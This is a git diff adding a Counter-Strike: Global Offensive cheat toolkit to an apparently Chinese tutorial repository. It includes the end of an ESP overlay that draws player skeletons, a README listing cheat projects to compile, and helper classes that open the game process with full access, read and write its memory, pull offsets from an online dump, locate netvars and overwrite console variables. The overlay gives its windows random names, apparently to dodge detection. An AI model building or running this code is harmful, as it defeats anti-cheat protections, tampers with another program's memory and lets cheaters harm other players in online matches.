(int i = 0; i < 2; i++) render_line(bones[i][0], bones[i][1], bones[i + 1][0], bones[i + 1][1]); + + render_line(bones[0][0], bones[0][1], x1, y1); + } + + bone = m_cheat.get_bone_pos(entity, 3); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, x, y, w, h); + + // + render_line(x, y, x1, y1); + + // + { + int bones[3][2]{ 0 }; + + bone = m_cheat.get_bone_pos(entity, 66); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[0][0], bones[0][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 67); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[1][0], bones[1][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 68); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[2][0], bones[2][1], w, h); + + for (int i = 0; i < 2; i++) render_line(bones[i][0], bones[i][1], bones[i + 1][0], bones[i + 1][1]); + + render_line(bones[0][0], bones[0][1], x, y); + } + + // + { + int bones[3][2]{ 0 }; + + bone = m_cheat.get_bone_pos(entity, 74); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[0][0], bones[0][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 75); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[1][0], bones[1][1], w, h); + + bone = m_cheat.get_bone_pos(entity, 76); + m_cheat.to_rect_info(matrix.data, bone, half_width, half_height, bones[2][0], bones[2][1], w, h); + + for (int i = 0; i < 2; i++) render_line(bones[i][0], bones[i][1], bones[i + 1][0], bones[i + 1][1]); + + render_line(bones[0][0], bones[0][1], x, y); + } + } + } while (false); + } + + m_IDirect3DDevice9->EndScene(); + } + m_IDirect3DDevice9->Present(0, 0, 0, 0); + } + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/README.md" new file mode 100644 index 0000000..55d0e22 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/README.md" @@ -0,0 +1,38 @@ +# 前言 + +## 消息 +好吧,有时间我会编译一些能直接用的辅助软件出来 + +## 成品辅助软件 + + +## 待编译成品辅助软件 +[Osiris - 内挂] + +[Anubis - 内挂] + +[GOESP - 内挂] + +[RPM-WPM-project - 外挂] + + + + + + + + + + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/README.md" new file mode 100644 index 0000000..92c61e3 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/README.md" @@ -0,0 +1,14 @@ +# 说明 + +## 简单接口类 + +1.基址和偏移 + +2.读取和写入 + +3.convar + +4.netvar + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/address.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/address.hpp" new file mode 100644 index 0000000..4a5d0f5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/address.hpp" @@ -0,0 +1,83 @@ +#pragma once + +#include + +#include +#pragma comment(lib,"Wininet.lib") + +#include +#include +#include + +class address +{ +private: + std::string m_data; //ҳԴ + +public: + address() {} + ~address() { } + + /* ʼ,ҳ */ + bool Initialize(const char* url = "https://github.com/frk1/hazedumper/blob/master/csgo.hpp") + { + /* ҳ·ǷЧ */ + int size = strlen(url); + if (size <= 0) return false; + + /* һƹľ */ + HINTERNET manager = InternetOpenA("CSGO Web", INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0); + if (manager == nullptr) return false; + + /* Ӹҳ */ + HINTERNET target = InternetOpenUrlA(manager, url, nullptr, 0, INTERNET_FLAG_RELOAD, 0); + if (target == nullptr) + { + InternetCloseHandle(manager); + return false; + } + + /* ҳȫݶȡ */ + m_data = ""; + DWORD bytes = 0; + do + { + static const int len = 1024 * 10; + char buffer[len]{ 0 }; + InternetReadFile(target, buffer, len, &bytes); + m_data += buffer; + } while (bytes); + + /* رվ */ + InternetCloseHandle(manager); + InternetCloseHandle(target); + return true; + } + + /* ȡֶָεĵַ */ + int get_address(const char* name) + { + /* ֶЧԼ */ + int size = strlen(name); + if (size <= 0) return 0; + + /* ҳЧԼ */ + if (m_data.empty()) return 0; + + /* ֶβ */ + size_t pos = m_data.find(name); + if (pos == std::string::npos) return 0; + + size_t beg = m_data.find("0x", pos); + size_t end = m_data.find('<', beg); + if (beg == ::std::string::npos || end == std::string::npos) return 0; + std::string buf = m_data.substr(beg, end - beg); + + /* תΪʮ */ + int addr = 0; + std::stringstream translater; + translater << buf; + translater >> std::hex >> addr; + return addr; + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/convar.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/convar.hpp" new file mode 100644 index 0000000..d3f9b62 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/convar.hpp" @@ -0,0 +1,91 @@ +#pragma once + +#include + +class convar +{ +private: + /* ȡƹϣֵ */ + int get_name_hash(const char* name) + { + const int len = 256; + int data[len]{ 0 }; + SIZE_T bytes = 0; + ReadProcessMemory(m_handle, (LPCVOID)(m_vstdlib + m_convar_name_hash_table), data, sizeof(data), &bytes); + if (bytes == 0) return 0; + + int v2 = 0, v3 = 0, size = strlen(name); + for (int i = 0; i < size; i += 2) + { + v3 = data[v2 ^ toupper(name[i])]; + if (i + 1 == size) break; + v2 = data[v3 ^ toupper(name[i + 1])]; + } + return v2 | (v3 << 8); + } + +public: + HANDLE m_handle; //̾ + DWORD m_vstdlib; //ַ + DWORD m_convar_name_hash_table; //ϣַ + DWORD m_interface_engine_cvar; //ӿڵַ + + convar() {} + ~convar() {} + + DWORD get_convar_address(const char* name) + { + int hash = get_name_hash(name); + if (hash == 0) return 0; + + SIZE_T bytes = 0; + DWORD convar_engine = 0; + ReadProcessMemory(m_handle, (LPCVOID)(m_vstdlib + m_interface_engine_cvar), &convar_engine, sizeof(convar_engine), &bytes); + if (convar_engine == 0) return 0; + + DWORD address = 0; + ReadProcessMemory(m_handle, (LPCVOID)(convar_engine + 0x34), &address, sizeof(address), &bytes); + if (address == 0) return 0; + + DWORD target = 0; + ReadProcessMemory(m_handle, (LPCVOID)(address + ((unsigned char)hash * 4)), &target, sizeof(target), &bytes); + if (target == 0) return 0; + + while (target) + { + int temp = 0; + ReadProcessMemory(m_handle, (LPCVOID)target, &temp, sizeof(temp), &bytes); + if (temp == hash) + { + DWORD convar_point = 0; + ReadProcessMemory(m_handle, (LPCVOID)(target + 0x4), &convar_point, sizeof(convar_point), &bytes); + if (convar_point) + { + DWORD same = 0; + ReadProcessMemory(m_handle, (LPCVOID)(convar_point + 0xC), &same, sizeof(same), &bytes); + if (same) + { + char buf[32]{ 0 }; + ReadProcessMemory(m_handle, (LPCVOID)same, buf, sizeof(buf), &bytes); + if (strcmp(buf, name) == 0) return convar_point; + } + } + } + + ReadProcessMemory(m_handle, (LPCVOID)(target + 0xC), &target, sizeof(target), &bytes); + } + + return 0; + } + + void set_convar_value(const char* name, DWORD value) + { + DWORD addr = get_convar_address(name); + if (addr) + { + SIZE_T bytes = 0; + DWORD temp = value ^ addr; + WriteProcessMemory(m_handle, (LPVOID)(addr + 0x30), &temp, sizeof(temp), &bytes); + } + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/main.cpp" new file mode 100644 index 0000000..37a3c4e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/main.cpp" @@ -0,0 +1,48 @@ +/* +ȽƵĽӿ,ڴ˻ʵֹܷdz +ǽԵʱʹ,д汾ʱҪӶȡ/дڴ +*/ + +#include "address.hpp" +#include "memory.hpp" +#include "netvar.hpp" +#include "convar.hpp" + +void test() +{ + std::cout << std::hex; + + memory* m = new memory(); + if (m->attach() == false) return; + DWORD client = (DWORD)m->find_module("client.dll").modBaseAddr; + DWORD vstdlib = (DWORD)m->find_module("vstdlib.dll").modBaseAddr; + if (client == 0 || vstdlib == 0) return; + std::cout << "client : 0x" << client << std::endl; + std::cout << "vstdlib : 0x" << vstdlib << std::endl; + + address* a = new address(); + if (a->Initialize() == false) return; + DWORD dwGetAllClasses = a->get_address("dwGetAllClasses"); + if (dwGetAllClasses == 0) return; + dwGetAllClasses = client + dwGetAllClasses; + std::cout << "dwGetAllClasses : 0x" << dwGetAllClasses << std::endl; + + netvar* n = new netvar(m->get_handle()); + DWORD iHealth = n->find_net_var(dwGetAllClasses, "DT_BasePlayer", "iHealth"); + std::cout << "iHealth : 0x" << iHealth << std::endl; + + convar* c = new convar(); + c->m_vstdlib = vstdlib; + c->m_handle = m->get_handle(); + c->m_convar_name_hash_table = a->get_address("convar_name_hash_table"); + c->m_interface_engine_cvar = a->get_address("interface_engine_cvar"); + c->set_convar_value("r_3dsky", 0); +} + +int main(int argc, char* argv[]) +{ + test(); + + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/memory.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/memory.hpp" new file mode 100644 index 0000000..fca9102 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/memory.hpp" @@ -0,0 +1,106 @@ +#pragma once + +#include +#include + +#include +#include + +class memory +{ +private: + DWORD m_pid; //ID + HANDLE m_handle; //̾ + HWND m_hwnd; //ھ + +public: + memory() {} + ~memory() {} + + inline DWORD get_pid() { return m_pid; } + inline HANDLE get_handle() { return m_handle; } + inline HWND get_hwnd() { return m_hwnd; } + + /* ʼ */ + bool attach(const char* process = "csgo.exe") + { + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32 ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (strcmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + + /* ID */ + m_pid = ProcessInfo.th32ProcessID; + + /* ̾ !!!!Σյķʽ!!!!! */ + m_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_pid); + + /* 洰ھ */ + m_hwnd = FindWindowA(nullptr, "Counter-Strike: Global Offensive"); + + return m_handle && m_hwnd; + } + } while (Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return false; + } + + /* ָģ */ + MODULEENTRY32 find_module(const char* name) + { + MODULEENTRY32 Result{ 0 }; + Result.dwSize = sizeof(Result); + + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, m_pid); + if (Snap == INVALID_HANDLE_VALUE) return Result; + + if (Module32First(Snap, &Result)) + { + do + { + if (strcmp(name, Result.szModule) == 0) + { + CloseHandle(Snap); + return Result; + } + } while (Module32Next(Snap, &Result)); + } + + CloseHandle(Snap); + return {}; + } + + /* ȡڴ */ + template + T read(DWORD addr) + { + T result{}; + size_t size = sizeof(result); + + SIZE_T bytes = 0; + ReadProcessMemory(m_handle, (LPCVOID)addr, &result, size, &bytes); + + return result; + } + + /* дڴ */ + template + void write(DWORD addr, T buf) + { + size_t size = sizeof(buf); + + SIZE_T bytes = 0; + WriteProcessMemory(m_handle, (LPVOID)addr, &buf, size, &bytes); + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/netvar.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/netvar.hpp" new file mode 100644 index 0000000..803c6bf --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/CSGO\347\256\200\345\215\225\346\216\245\345\217\243\347\261\273/netvar.hpp" @@ -0,0 +1,186 @@ +#pragma once + +#include +#include + +/* */ +class recv_prop; +class recv_table +{ +public: + /* ȡ */ + const char* get_table_name(HANDLE handle) + { + const int size = 128; + static char data[size]{ 0 }; + + SIZE_T bytes = 0; + DWORD addr = 0; + ReadProcessMemory(handle, this + 0xC, &addr, sizeof(addr), &bytes); + if (addr) ReadProcessMemory(handle, (LPCVOID)addr, data, size, &bytes); + +#ifdef _DEBUG + std::cout << "table:" << data << std::endl; +#endif + + return data; + } + + /* ȡprop */ + int get_max_prop(HANDLE handle) + { + SIZE_T bytes = 0; + int result = 0; + ReadProcessMemory(handle, this + 0x4, &result, sizeof(result), &bytes); + + return result; + } + + /* ȡpropַ */ + recv_prop* get_prop(int index, HANDLE handle) + { + SIZE_T bytes = 0; + DWORD addr = 0; + ReadProcessMemory(handle, this, &addr, sizeof(addr), &bytes); + + return (recv_prop*)(addr + 0x3C * index); + } +}; + +class recv_prop +{ +public: + /* ȡֵ */ + const char* get_var_name(HANDLE handle) + { + const int size = 128; + static char data[size]{ 0 }; + + SIZE_T bytes = 0; + DWORD addr = 0; + ReadProcessMemory(handle, this, &addr, sizeof(addr), &bytes); + if (addr) ReadProcessMemory(handle, (LPCVOID)addr, data, size, &bytes); + +#ifdef _DEBUG + std::cout << "\tvar:" << data << std::endl; +#endif + + return data; + } + + /* ȡƫ */ + int get_offset(HANDLE handle) + { + int result = 0; + + SIZE_T bytes = 0; + ReadProcessMemory(handle, this + 0x2C, &result, sizeof(result), &bytes); + + return result; + } + + /* ȡݱ */ + recv_table* get_data_table(HANDLE handle) + { + recv_table* result = nullptr; + + SIZE_T bytes = 0; + ReadProcessMemory(handle, this + 0x28, &result, sizeof(result), &bytes); + + return result; + } +}; + +class client_class +{ +public: + /* ȡ */ + const char* get_network_name(HANDLE handle) + { + const int size = 128; + static char data[size]{ 0 }; + + SIZE_T bytes = 0; + DWORD addr = 0; + ReadProcessMemory(handle, this + 0x8, &addr, sizeof(addr), &bytes); + if (addr) ReadProcessMemory(handle, (LPCVOID)addr, data, size, &bytes); + +#ifdef _DEBUG + std::cout << "\t\tnetwork:" << data << std::endl; +#endif + + return data; + } + + /* ȡһ */ + client_class* get_next_class(HANDLE handle) + { + client_class* result = nullptr; + + SIZE_T bytes = 0; + ReadProcessMemory(handle, this + 0x10, &result, sizeof(result), &bytes); + + return result; + } + + /* ȡ */ + recv_table* get_table(HANDLE handle) + { + recv_table* result = 0; + + SIZE_T bytes = 0; + ReadProcessMemory(handle, this + 0xC, &result, sizeof(result), &bytes); + + return result; + } +}; + +class netvar +{ +private: + +private: + HANDLE m_handle; //̾ + +public: + netvar(HANDLE h) : m_handle(h) {} + ~netvar() {} + + /* ֵָָ */ + DWORD find_net_var(DWORD base, const char* table, const char* value) + { + for (client_class* client = (client_class*)base; client; client = client->get_next_class(m_handle)) + { + /* һж */ + if (strcmp(client->get_table(m_handle)->get_table_name(m_handle), table)) continue; + + for (int i = 0; i < client->get_table(m_handle)->get_max_prop(m_handle); i++) + { + recv_prop* prop = client->get_table(m_handle)->get_prop(i, m_handle); + + if (isdigit(prop->get_var_name(m_handle)[0])) continue; + if (_tcsstr(prop->get_var_name(m_handle), value) != nullptr) return prop->get_offset(m_handle); + if (prop->get_data_table(m_handle) == nullptr) continue; + + for (int j = 0; j < prop->get_data_table(m_handle)->get_max_prop(m_handle); j++) + { + recv_prop* prop1 = prop->get_data_table(m_handle)->get_prop(j, m_handle); + + if (isdigit(prop1->get_var_name(m_handle)[0])) continue; + if (_tcsstr(prop1->get_var_name(m_handle), value) != nullptr) return prop1->get_offset(m_handle); + if (prop1->get_data_table(m_handle) == nullptr) continue; + + for (int k = 0; k < prop1->get_data_table(m_handle)->get_max_prop(m_handle); k++) + { + recv_prop* prop2 = prop1->get_data_table(m_handle)->get_prop(k, m_handle); + + if (isdigit(prop2->get_var_name(m_handle)[0])) continue; + if (_tcsstr(prop2->get_var_name(m_handle), value) != nullptr) return prop2->get_offset(m_handle); + } + } + } + } + + return 0; + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/overlay\347\261\273/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/overlay\347\261\273/main.cpp" new file mode 100644 index 0000000..886d67f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/overlay\347\261\273/main.cpp" @@ -0,0 +1,17 @@ +#include "overlay.hpp" + +int __stdcall WinMain( + _In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPSTR lpCmdLine, + _In_ int nShowCmd) +{ + HWND hWnd = FindWindowA(nullptr, "ShadowVolume"); + + overlay* g = new overlay(hWnd); + g->create_overlay_window(); + g->initialize(); + g->message_handle(); + + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/overlay\347\261\273/overlay.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/overlay\347\261\273/overlay.hpp" new file mode 100644 index 0000000..a3a0032 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/overlay\347\261\273/overlay.hpp" @@ -0,0 +1,233 @@ +#pragma once +#define _CRT_SECURE_NO_WARNINGS + +#include +#pragma comment(lib,"d3d9.lib") + +#include +#pragma comment(lib,"d3dx9.lib") + +#include +#pragma comment(lib, "dwmapi.lib") + +#include +#include + +#include + +class overlay +{ +private: + IDirect3D9* m_IDirect3D9; + IDirect3DDevice9* m_IDirect3DDevice9; + + ID3DXLine* m_ID3DXLine; + ID3DXFont* m_ID3DXFont; + + D3DPRESENT_PARAMETERS m_D3DPRESENT_PARAMETERS; + + HWND m_hwnd; + HWND m_game; + + /* ַ */ + char* random_string() + { + static std::vector maps{ 'q','w','e','r','t','y','u','i','o','p','l','k','j','h','g','f','d','s','a','z','x','c','v','b','n','m','Q','A','Z','W','S','X','E','D','C','R','F','V','T','G','B','Y','H','N','U','J','M','I','K','O','L','P','1','2','3','4','5','6','7','8','9','0' }; + static char buffer[100]{ 0 }; + + srand((unsigned)time(nullptr)); + for (int i = 0; i < 30; i++) buffer[i] = maps[rand() % maps.size()]; + return buffer; + } + + /* ڹ */ + static LRESULT CALLBACK window_process(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) + { + static MARGINS margins{ 0 }; + + switch (uMsg) + { + case WM_CREATE: + DwmExtendFrameIntoClientArea(hWnd, &margins); + return 1; + case WM_CLOSE: + PostQuitMessage(0); + return 1; + } + return DefWindowProcA(hWnd, uMsg, wParam, lParam); + } + +public: + overlay(HWND hWnd) : m_game(hWnd) {} + ~overlay() {} + + /* һ͸ */ + bool create_overlay_window() + { + char sz_class[100]{ 0 }, sz_title[100]{ 0 }; + strcpy(sz_class, random_string()); + strcpy(sz_title, random_string()); + + WNDCLASSEXA window_class{ 0 }; + window_class.cbSize = sizeof(window_class); + window_class.hCursor = LoadCursor(0, IDC_ARROW); + window_class.hInstance = GetModuleHandle(NULL); + window_class.lpfnWndProc = window_process; + window_class.lpszClassName = sz_class; + window_class.style = CS_VREDRAW | CS_HREDRAW; + if (RegisterClassExA(&window_class) == 0) + { + MessageBoxA(nullptr, "RegisterClassExA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + RECT rect{ 0 }; + GetWindowRect(m_game, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + if (GetWindowLongA(m_game, GWL_STYLE) & WS_CAPTION) + { + x += 8; + width -= 8; + y += 30; + height -= 30; + } + + m_hwnd = CreateWindowExA(WS_EX_TOPMOST | WS_EX_TRANSPARENT | WS_EX_LAYERED, + sz_class, sz_title, WS_POPUP, x, y, width, height, NULL, NULL, GetModuleHandle(NULL), NULL); + if (m_hwnd == NULL) + { + MessageBoxA(nullptr, "CreateWindowExA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + SetLayeredWindowAttributes(m_hwnd, 0, RGB(0, 0, 0), LWA_COLORKEY); + UpdateWindow(m_hwnd); + ShowWindow(m_hwnd, SW_SHOW); + + return true; + } + + /* Ϣѭ */ + void message_handle() + { + MSG msg{ 0 }; + while (msg.message != WM_QUIT) + { + if (PeekMessageA(&msg, 0, 0, 0, PM_REMOVE)) + { + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + else + { + RECT rect{ 0 }; + GetWindowRect(m_game, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + if (GetWindowLongA(m_game, GWL_STYLE) & WS_CAPTION) + { + x += 8; + width -= 8; + y += 30; + height -= 30; + } + + MoveWindow(m_hwnd, x, y, width, height, TRUE); + + render(); + } + } + } + + /* ʼ */ + bool initialize() + { + m_IDirect3D9 = Direct3DCreate9(D3D_SDK_VERSION); + if (m_IDirect3D9 == nullptr) + { + MessageBoxA(nullptr, "Direct3DCreate9", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + memset(&m_D3DPRESENT_PARAMETERS, 0, sizeof(m_D3DPRESENT_PARAMETERS)); + m_D3DPRESENT_PARAMETERS.Windowed = TRUE; + m_D3DPRESENT_PARAMETERS.SwapEffect = D3DSWAPEFFECT_DISCARD; + m_D3DPRESENT_PARAMETERS.BackBufferFormat = D3DFMT_UNKNOWN; + m_D3DPRESENT_PARAMETERS.EnableAutoDepthStencil = TRUE; + m_D3DPRESENT_PARAMETERS.AutoDepthStencilFormat = D3DFMT_D16; + m_D3DPRESENT_PARAMETERS.PresentationInterval = D3DPRESENT_INTERVAL_ONE; + HRESULT result = m_IDirect3D9->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, m_hwnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &m_D3DPRESENT_PARAMETERS, &m_IDirect3DDevice9); + if (result != D3D_OK) + { + MessageBoxA(nullptr, "CreateDevice", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + result = D3DXCreateLine(m_IDirect3DDevice9, &m_ID3DXLine); + if (result != D3D_OK) + { + MessageBoxA(nullptr, "D3DXCreateLine", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + result = D3DXCreateFontA(m_IDirect3DDevice9, 20, 0, FW_DONTCARE, D3DX_DEFAULT, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, FF_DONTCARE, "Arial", &m_ID3DXFont);//Arial Vernada + if (result != D3D_OK) + { + MessageBoxA(nullptr, "D3DXCreateFontA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + return true; + } + + /* Ⱦ */ + void render_rect(float x, float y, float width, float height, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255), float size = 1.0f) + { + D3DXVECTOR2 vextor[5]{ {x,y},{x + width,y},{x + width,y + height},{x,y + height},{x,y} }; + m_ID3DXLine->SetWidth(size); + m_ID3DXLine->Draw(vextor, 5, color); + } + + /* Ⱦı */ + void render_text(long x, long y, const char* text, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255)) + { + RECT rect{ x,y }; + m_ID3DXFont->DrawTextA(nullptr, text, -1, &rect, DT_CALCRECT, color); + m_ID3DXFont->DrawTextA(nullptr, text, -1, &rect, DT_LEFT, color); + } + + /* Ⱦ߶ */ + void render_line(float left, float top, float right, float down, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255), float size = 1.0f) + { + D3DXVECTOR2 vextor[2]{ {left,top},{right,down} }; + m_ID3DXLine->SetWidth(size); + m_ID3DXLine->Draw(vextor, 2, color); + } + + /* Ⱦ */ + void render() + { + if (m_IDirect3DDevice9) + { + m_IDirect3DDevice9->Clear(0, 0, D3DCLEAR_TARGET, 0, 1.0f, 0); + if (SUCCEEDED(m_IDirect3DDevice9->BeginScene())) + { + if (m_game == GetForegroundWindow()) + { + //дԼȾ + render_rect(10, 10, 200, 200); + render_text(50, 50, "Dz", D3DCOLOR_ARGB(255, 255, 255, 0)); + render_line(100, 100, 300, 300, D3DCOLOR_ARGB(255, 0, 255, 0), 3.0f); + } + + m_IDirect3DDevice9->EndScene(); + } + m_IDirect3DDevice9->Present(0, 0, 0, 0); + } + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\344\270\212\347\232\204CSGO\345\234\260\345\235\200\345\222\214\345\201\217\347\247\273/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/[\346\227\240\350\247\206\351\242\221]\344\270\200\344\272\233\346\234\211\347\224\250\345\260\217\344\273\243\347\240\201/\350\216\267\345\217\226\347\275\221\347\273\234\344\270\212\347\232\204CSGO\345\234\260\345\235\200\345\222\214\345\201\217\347\247\273/README.md" new file 